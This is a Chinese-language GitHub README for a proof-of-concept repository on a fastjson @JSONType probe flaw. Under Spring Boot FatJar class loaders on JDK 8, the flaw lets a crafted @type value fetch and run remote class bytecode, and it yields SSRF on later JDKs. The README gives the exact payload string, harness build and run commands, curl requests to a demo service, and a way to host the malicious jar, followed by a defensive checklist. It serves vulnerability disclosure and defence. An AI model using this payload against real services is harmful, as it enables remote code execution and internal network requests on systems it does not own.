Percivalll/Fastjson-JsonType-RCE-PoC
GitHub: Percivalll/Fastjson-JsonType-RCE-PoC
这是一个验证 fastjson `@JSONType` 探测路径在 Spring Boot FatJar 环境下可导致远程类加载 RCE 和 SSRF 的概念验证工具。
Stars: 2 | Forks: 2
# Fastjson AutoType + Spring Boot FatJar JSONType RCE PoC
## 摘要
`ParserConfig.checkAutoType` 包含一个 `@JSONType` 探测路径,该路径会将提交的 `@type` 值重构为类资源:
```
String resource = typeName.replace('.', '/') + ".class";
is = defaultClassLoader.getResourceAsStream(resource);
```
使用诸如 `jar:http:..2130706433:18080.probe!.POC` 的值,替换操作会生成 jar URL `jar:http://2130706433:18080/probe!/POC.class`(`2130706433` 是 `127.0.0.1` 的整数形式)。
观察到的行为取决于类加载器和 JDK:
| 环境 | 网络请求 | 结果 |
| --- | --- | --- |
| 使用 JDK `AppClassLoader` 的普通 classpath | 否 | `JSONException: autoType is not support` |
| 在 JDK 8 上使用 `LaunchedURLClassLoader` 的 Spring Boot FatJar | 是,通常会有两次 `GET /probe` 请求 | 可以定义并初始化远程类字节码 |
| 在 JDK 9+ 上使用 `LaunchedURLClassLoader` 的 Spring Boot FatJar | 是 | SSRF 仍然存在,但类定义会因非法类名错误而失败 |
| `setAutoTypeSupport(true)` 或 fastjson <= 1.2.24 | 否 | 在测试路径中,该 payload 会降级为普通的 `JSONObject` 字段 |
## 受影响条件
以下所有条件均与完整的远程类加载路径相关:
| 条件 | 说明 |
| --- | --- |
| fastjson 版本 | 在 1.2.66 到 1.2.83 版本(包括 `@JSONType` 探测路径)中观察到。由于注解探测是一个可信通道,因此在 AutoType 被禁用时依然可以进入该路径。 |
| 类加载器 | fastjson 由 `LaunchedURLClassLoader` 加载的传统 Spring Boot FatJar 执行环境,或者是应用程序提供的能够解析 jar 类型资源名称的 `ParserConfig.setDefaultClassLoader()`。 |
| JDK | 在此途径下,完整的 RCE 需要 JDK 8。JDK 9+ 会在 `defineClass` 期间拒绝构造的内部类名,但 SSRF 依然会发生。 |
| 网络 | 目标运行时必须能够通过 HTTP 或其他可达的 URL scheme 获取远程 jar。 |
## 项目结构
```
.
|-- README.md
|-- pom.xml
|-- scripts/
| |-- build-harness.sh
| `-- fetch-deps.sh
|-- src/main/java/
| |-- FatRunner.java
| |-- Gen.java
| |-- POC.java
| |-- Test.java
| `-- Test2.java
`-- sbdemo/
|-- pom.xml
`-- src/main/java/com/percivalll/fastjson/jsontype/
|-- DemoApplication.java
|-- FastjsonHarness.java
|-- ParseController.java
`-- WorkerParser.java
```
## 前置条件
- 完整的类定义结果需要 JDK 8。
- JDK 9+ 可用于验证仅限 SSRF 的行为。
- 执行 `scripts/fetch-deps.sh` 需要 `curl`。
- 根测试工具(harness)的构建非必须使用 Maven。脚本会直接将所需的 jar 下载到 `lib/` 目录中。
- `sbdemo/` 真实的 Spring Boot 应用程序必须使用 Maven。
## 构建本地测试工具
```
scripts/build-harness.sh
```
该脚本会下载:
- `fastjson-1.2.83.jar`
- `spring-boot-loader-2.7.18.jar`
- `spring-boot-loader-1.5.22.RELEASE.jar`
- `asm-9.6.jar`
然后它会将测试工具编译到 `target/classes` 中并生成 `probe.jar`。生成的 jar 包含一个构造的 `POC.class`,其字节码内部名称为:
```
jar:http://2130706433:18080/probe!/POC
```
## 测试工具复现步骤
测试工具使用的 payload 为:
```
{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}
```
使用普通 classpath 的基线测试:
```
java -cp "target/classes:lib/fastjson-1.2.83.jar" Test parse-default
```
Spring Boot 2.7 加载器路径:
```
rm -f PWNED2
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-parse
ls -la PWNED2
```
Spring Boot 1.5 加载器路径:
```
rm -f PWNED2
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-1.5.22.RELEASE.jar" Test2 sb15-parse
ls -la PWNED2
```
直接基础检查:
```
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-direct
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-check
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-load
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-fatrun
```
在 JDK 8 上,`sb27-parse`、`sb15-parse`、`sb27-load` 和 `sb27-fatrun` 路径可以定义并初始化远程类。在 JDK 9+ 上,HTTP 获取请求依然会发出,但由于 JVM 对类名的验证更严格,类定义会被拦截。
## 文件功能说明
`Test.java` 是普通 classpath 的基线测试。它启动一个 localhost HTTP 服务器,执行 fastjson 解析和 `checkAutoType`,并记录是否发出了 HTTP 请求。
`Test2.java` 构建了一个 Spring Boot `LaunchedURLClassLoader`,通过本地 HTTP 监听器提供 `probe.jar`,并测试了直接资源查找、`checkAutoType`、`loadClass` 和 `JSON.parse` 路径。
`Gen.java` 使用 ASM 生成一个仅存在于字节码内部名称中、无法作为 Java 源码编写的类。生成的类带有一个运行时可见的 `@JSONType` 注解,并在初始化时创建 `PWNED2`。
`POC.java` 是一个带有 `@JSONType` 的普通对照类。
`FatRunner.java` 通过 FatJar 样式的类加载器加载,以更贴近地模拟在 Spring Boot 可执行 jar 中运行的 fastjson。
## 真实 Spring Boot 演示
`fastsjson/` 项目是一个包含 fastjson 1.2.83 的最小化 Spring Boot 2.7.18 服务。默认情况下,它绑定到 `127.0.0.1:8081`。
使用 JDK 8 构建:
```
cd sbdemo
JAVA_HOME=/path/to/jdk8 mvn package -DskipTests
java -jar target/fastjson-jsontype-sbdemo-1.0.0-SNAPSHOT.jar
```
在另一个终端中,将根测试工具生成的构造 jar 作为 `/probe` 提供服务:
```
cd ..
scripts/build-harness.sh
mkdir -p www
cp probe.jar www/probe
python3 -m http.server 18080 --bind 127.0.0.1 --directory www
```
有用的 endpoint:
```
curl http://127.0.0.1:8081/info
curl -X POST http://127.0.0.1:8081/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}'
curl -X POST http://127.0.0.1:8081/parse-async \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}'
```
来自原始研究笔记的观察行为:
| 路由 | 结果 |
| --- | --- |
| Tomcat 请求线程 (`/parse`) | 会发生 SSRF,但该路由通常会在 RCE 之前停止,因为 Tomcat 请求线程的 TCCL 未能完成构造的远程类定义路径。 |
| 启动时创建的工作线程 (`/parse-async`) | 在 JDK 8 且 TCCL 设置为 `LaunchedURLClassLoader` 的情况下,远程类加载路径可以完成。 |
| 任何入口点 | `@JSONType` 探测仍然可以触发 SSRF,因为它使用的是 `ParserConfig.class.getClassLoader()`。 |
Tomcat 请求线程路由中的失败对于此 payload 系列来说是结构性的:远程 jar URL 需要 `://`,类资源重构需要 `..` 变为 `//`,而随后的 `Class.forName` 路径会在 Tomcat 能够加载构造的类之前拒绝空的包段。
## 防御指南
1. 使用 `-Dfastjson.parser.safeMode=true` 启用 fastjson SafeMode。
2. 实施严格的出站流量控制,确保应用程序运行时无法获取任意的 HTTP 资源。
3. 尽可能使用 JDK 9+。这会拦截此途径中的类定义步骤,尽管 SSRF 仍需单独缓解。
4. 迁移到 fastjson2,或者在处理不受信任的 JSON 解析路径中移除 fastjson 1.x。
5. 针对不受信任的输入,不要启用 `ParserConfig.setAutoTypeSupport(true)`。
6. 对包含 `jar:`、`!`、混合 `..` URL 重构模式或诸如 `2130706433` 的整数形式 IP 字面量的可疑 `@type` 值设置告警。
7. 审查 `ParserConfig.setDefaultClassLoader()` 调用点,避免使用会将攻击者控制的资源名称解析为 URL 的类加载器。
## 参考
- fastjson `ParserConfig.checkAutoType`,特别是资源重构逻辑附近的 `@JSONType` 探测代码块。
- Spring Boot `org.springframework.boot.loader.jar.Handler#parseURL`,其嵌套式 jar URL 处理方式不同于 JDK 普通 classpath 路径。
- 在 fastjson 1.2.66 中引入并在原始笔记测试的后续 1.x 版本中存在的 `@JSONType` 探测行为。
标签:CISA项目, Fastjson, GHAS, Java安全, JS文件枚举, PoC, Spring Boot, 域名枚举, 暴力破解, 编程工具, 远程代码执行